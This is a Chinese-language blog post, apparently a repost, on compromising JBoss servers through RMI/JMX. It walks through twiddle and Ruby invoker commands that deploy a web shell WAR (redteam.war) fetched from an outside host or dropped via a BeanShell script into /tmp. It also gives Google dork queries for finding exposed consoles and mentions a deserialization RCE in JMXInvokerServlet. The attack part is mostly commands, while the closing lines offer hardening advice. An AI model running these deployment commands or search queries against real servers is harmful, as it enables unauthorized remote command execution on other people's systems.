标签:
RMI: 远程方法调用
通常JMX控制台保护方法是加一个密码保护。
然而这不是访问JBoss应用服务器组件的唯一方式,JBoss应用服务器经常与客户端程序接口相互调用,Java远程方法调用(RMI)也发挥重要作用。
使用RMI,本地应用程序可以访问远程对象,并可以调用它们的方法。客户端与服务器之间的通信是透明的。
JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。
JNDI可访问的现有的目录及服务有:
DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。
通过RMI访问MBean
RMI接口默认凯奇在端口4444上,JNDI接口默认开启在1098和1099上。
与JBoss应用服务器RMI通信,可以使用专门的Java程序。更简单的方式是使用twiddle,包括JBoss应用服务器的安装。
$ sh jboss-4.2.3.GA/bin/twiddle.sh -h
A JMX client to ’twiddle’ with a remote JBoss server.
usage: twiddle.sh [options] <command> [command_arguments]
options:
-h, –help Show this help message
–help-commands Show a list of commands
-H=<command> Show command specific help
-c=command.properties Specify the command.properties file to use
-D<name>[=<value>] Set a system property
– Stop procession options
-s, –server=<url> The JNDI URL of the remote server
-a, –adapter=<name> The JNDI name of the RMI adapter to user
-u, –user=<name> Specify the username for authentication
-p, –password=<name> Specify the password for authentication
-q, –quiet Be somewhat more quiet
有了twiddle,就用可用命令行通过RMI调用JBoss应用服务器的MBeans。Windows下是twiddle.bat,Linux下是twiddle.sh来启动twiddle。类似于JMX控制台,MBEAN的属性可读可改,并且可以调用其方法。
显示MBean服务器的信息
$ ./twiddle.sh -s scribus get jboss.system:type=ServerInfo
ActiveThreadCount=50
AvailableProcessors=1
OSArch=amd64
MaxMemory=518979584
HostAddress=127.0.1.1
JavaVersion=1.6.0_06
OSVersion=2.6.24-19-server
JavaVendor=Sun Microsystems Inc.
TotalMemory=129957888
ActiveThreadGroupCount=7
OSName=Linux
FreeMemory=72958384
HostName=scribus
JavaVMVersion=10.0-b22
JavaVMVendor=Sun Microsystems Inc.
JavaVMName=Java HotSpot(TM) 64-Bit Server VM
安装redteam.war
根据twiddle的帮助利用deploy()方法安装war文件。
$ ./twiddle.sh -s scribus invoke jboss.system:service=MainDeployer deploy http://www.redteam-pentesting.de/redteam.war
通过下面的URL访问shell:
http://scribus:8080/redteam/redteam-shell.jsp
BeanShell脚本
可以用下面的BeanShell脚本实现把redteam.war放到JBoss服务器上。
import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;
// Base64 encoded redteam.war
String val = “UEsDBBQACA[…]AAAAA”;
BASE64Decoder decoder = new BASE64Decoder();
byte[] byteval = decoder.decodeBuffer(val);
FileOutputStream fs = new FileOutputStream(“/tmp/redteam.war”);
fs.write(byteval);
fs.close();
变量val中是redteam.war文件的base64编码后的字符串,脚本在tmp目录下生成redteam.war文件,Windows中可以填写C:WINDOWSTEMP。
安装redteam.war文件
利用twiddle,可以使用DSHDeployer的createScriptDeployement()方法:
$ ./twiddle.sh -s scribus invoke jboss.deployer:service=BSHDeployer createScriptDeployment “‘cat redteam.bsh‘” redteam.bsh
tedteam.bsh包含上面的BeanShell脚本,调用成功后JBoss服务器返回BeanShell创建的临时文件地址:
file:/tmp/redteam.bsh55918.bsh
当BeanShell脚本执行部署后,会创建/tmp/redteam.war文件,现在就可以通过调用本地文件来部署了:
$ ./twiddle.sh -s scribus invoke jboss.system:service=MainDeployer deploy file:/tmp/redteam.war
之后就可以访问redteam-shell.jsp来执行命令了。
通过Web控制台Invoker可以读取MBean的属性与invoke方法。
这个类可以通过webconsole_invoker.rb脚本使用,使用方法如下:
$ ./webconsole_invoker.rb -h
Usage: ./webconsole_invoker.rb [options] MBean
?-u, –url URL The Invoker URL to use (default:http://localhost:8080/web-console/Invoker)
-a, –get-attr ATTR Read an attribute of an MBean
-i, –invoke METHOD invoke an MBean method
-p, –invoke-params PARAMS MBean method params
-s, –invoke-sigs SIGS MBean method signature
-t, –test Test the script with the ServerInfo MBean
-h, –help Show this help
Example usage:
./webconsole_invoker.rb -a OSVersion jboss.system:type=ServerInfo
./webconsole_invoker.rb -i listThreadDump jboss.system:type=ServerInfo
./webconsole_invoker.rb -i listMemoryPools -p true -s boolean jboss.system:type=ServerInfo
通过如下命令利用BSHDeployer来安装redteam.war文件。
$ ./webconsole_invoker.rb -u http://scribus:8080/web-console/Invoker -i createScriptDeployment -s “java.lang.String”,”java.lang.String” -p “`cat redteam.bsh`”,redteam.bsh jboss.deployer:service=BSHDeployer
在远程服务器上创建一个本地的redteam.war文件,现在第二部就可以利用MainDeployer安装/tmp/redteam.war文件了。
$ ./webconsole_invoker.rb -u http://scribus:8080/web-console/Invoker -i deploy -s “java.lang.String” -p “file:/tmp/redteam.war” jboss.system:service=MainDeployer
redteam-shell.jsp又可以访问了。
httpinvoker.rb脚本与webconsole_invoker.rb脚本类似,但是需要JBoss服务器激活HttpAdaptor
$ ./httpinvoker.rb -h
Usage: ./httpinvoker.rb [options] MBean
?-j, –jndi URL The JNDI URL to use (default:http://localhost:8080/invoker/JNDIFactory)
-p, –adaptor URL The Adaptor URL to use (default:jmx/invoker/HttpAdaptor)
-a, –get-attr ATTR Read an attribute of an MBean
-i, –invoke METHOD invoke an MBe an method
–invoke-params PARAMS MBean method params
-s, –invoke-sigs SIGS MBean method signature
-t, –test Test the script with the ServerInfo MBean
-h, –help Show this help
安装tedteam.war
与webconsole_invoker.rb安装类似。
寻找JBoss服务器的方法:
inurl:”jmx-console/HtmlAdaptor”
intitle:”Welcome to JBoss”
Jboss利用的是HTTP协议,可以在任何端口上运行,默认安装在8080端口中。而且Jboss与“JMXInvokerServlet”的通信过程中存在一个公开漏洞。JMX是一个java的管理协议,在Jboss中的JMXInvokerServlet可以使用HTTP协议与其进行通话。这一通信功能依赖于java的序列化类。以下可以作为自查依据:
JBoss JMXInvokerServlet接口(默认8080端口)以及JBoss Web Console (/web-console/) 禁止对外
以上系统均有传输对象序列化内容(二进制流或base64encode)。
当对这些传输数据截包并且替换为包含命令执行的序列化内容,远程命令执行即触发。
建议一:删除
建议二:给jmx-console和web-console都加上密码。在 ${jboss.server.home.dir}/deploy下面找到jmx-console.war目录编辑WEB-INF/web.xml文件,去掉 security-constraint 块的注释,使其起作用。
建议三:编辑WEB-INF/jboss-web.xml去掉 security-domain 块的注释,security-domain值的映射文件为 login-config.xml (该文件定义了登录授权方式);或者直接删除
建议四: 删除 server/default/deploy/http-invoker.sar 这个包
建议五:梳理并加强内网防火墙ACL,最好限制到端口级。
建议六:口令共用及弱口令问题等….
标签:
原文地址:http://blog.csdn.net/shewey/article/details/51345244